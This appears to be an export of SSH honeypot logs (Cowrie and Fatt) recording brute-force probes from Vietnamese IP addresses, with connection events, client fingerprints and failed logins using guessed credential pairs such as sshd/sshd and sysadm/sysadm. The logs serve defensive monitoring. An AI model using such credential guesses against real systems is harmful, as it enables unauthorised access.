23327	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:33.658048+03	2021-09-20 14:15:07.3635+03	{"_id": "UgbjAnwBvYTbRNuExgyj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57216 (192.168.176.2:22) [session: 01e011b1645c]", "session": "01e011b1645c", "@version": "1", "protocol": "ssh", "src_port": 57216, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.658048Z", "@timestamp": "2021-09-20T11:07:33.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23328	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:33.514484+03	2021-09-20 14:15:07.365503+03	{"_id": "TgbjAnwBvYTbRNuExgyi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2357ad2a708d", "@version": "1", "duration": 2.7078309059143066, "timestamp": "2021-09-20T11:07:33.514484Z", "@timestamp": "2021-09-20T11:07:33.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23329	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:33.325433+03	2021-09-20 14:15:07.366501+03	{"_id": "WgbjAnwBvYTbRNuExgyj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3545713b3f89", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:33.325433Z", "@timestamp": "2021-09-20T11:07:33.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23330	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.060385+03	2021-09-20 14:15:07.367502+03	{"_id": "XgbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33318 (192.168.176.2:22) [session: dedbc5d5098d]", "session": "dedbc5d5098d", "@version": "1", "protocol": "ssh", "src_port": 33318, "dest_port": 22, "timestamp": "2021-09-20T11:07:34.060385Z", "@timestamp": "2021-09-20T11:07:34.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23331	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:34.215214+03	2021-09-20 14:15:07.370472+03	{"_id": "XAbjAnwBvYTbRNuExgyj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [sshd/sshd] failed", "session": "9dc1a62066aa", "@version": "1", "password": "sshd", "username": "sshd", "timestamp": "2021-09-20T11:07:34.215214Z", "@timestamp": "2021-09-20T11:07:34.215Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23332	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:33.327573+03	2021-09-20 14:15:07.3715+03	{"_id": "ZgbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41490, "timestamp": "2021-09-20T11:07:33.327573", "@timestamp": "2021-09-20T11:07:33.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23333	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:33.597572+03	2021-09-20 14:15:07.372499+03	{"_id": "aAbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41490, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.597572", "@timestamp": "2021-09-20T11:07:33.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23334	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:33.662862+03	2021-09-20 14:15:07.373471+03	{"_id": "agbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57216, "timestamp": "2021-09-20T11:07:33.662862", "@timestamp": "2021-09-20T11:07:33.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23335	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:33.376031+03	2021-09-20 14:15:07.374501+03	{"_id": "eQbjAnwBvYTbRNuExgyt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "39dfc0d2db48", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:33.376031Z", "@timestamp": "2021-09-20T11:07:33.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23336	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:33.45742+03	2021-09-20 14:15:07.37647+03	{"_id": "egbjAnwBvYTbRNuExgyt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 15 seconds", "session": "b37c111a99c4", "@version": "1", "duration": 15.831601858139038, "timestamp": "2021-09-20T11:07:33.457420Z", "@timestamp": "2021-09-20T11:07:33.457Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23337	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:33.597878+03	2021-09-20 14:15:07.37747+03	{"_id": "bAbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3545713b3f89", "@version": "1", "timestamp": "2021-09-20T11:07:33.597878Z", "@timestamp": "2021-09-20T11:07:33.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23338	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:33.858783+03	2021-09-20 14:15:07.379508+03	{"_id": "fQbjAnwBvYTbRNuExgyt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [sysadm/sysadm] failed", "session": "24fb7f858792", "@version": "1", "password": "sysadm", "username": "sysadm", "timestamp": "2021-09-20T11:07:33.858783Z", "@timestamp": "2021-09-20T11:07:33.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23339	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.826973+03	2021-09-20 14:15:07.3805+03	{"_id": "kAbjAnwBvYTbRNuEygyM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:42022 (192.168.176.2:22) [session: d0424c51a7b1]", "session": "d0424c51a7b1", "@version": "1", "protocol": "ssh", "src_port": 42022, "dest_port": 22, "timestamp": "2021-09-20T11:07:34.826973Z", "@timestamp": "2021-09-20T11:07:34.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23340	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:34.33895+03	2021-09-20 14:15:07.3815+03	{"_id": "nwbjAnwBvYTbRNuEygyN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33318, "timestamp": "2021-09-20T11:07:34.338950", "@timestamp": "2021-09-20T11:07:34.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23345	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:35.137467+03	2021-09-20 14:15:07.3875+03	{"_id": "jwbjAnwBvYTbRNuEygyL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "24fb7f858792", "@version": "1", "duration": 2.4840598106384277, "timestamp": "2021-09-20T11:07:35.137467Z", "@timestamp": "2021-09-20T11:07:35.137Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
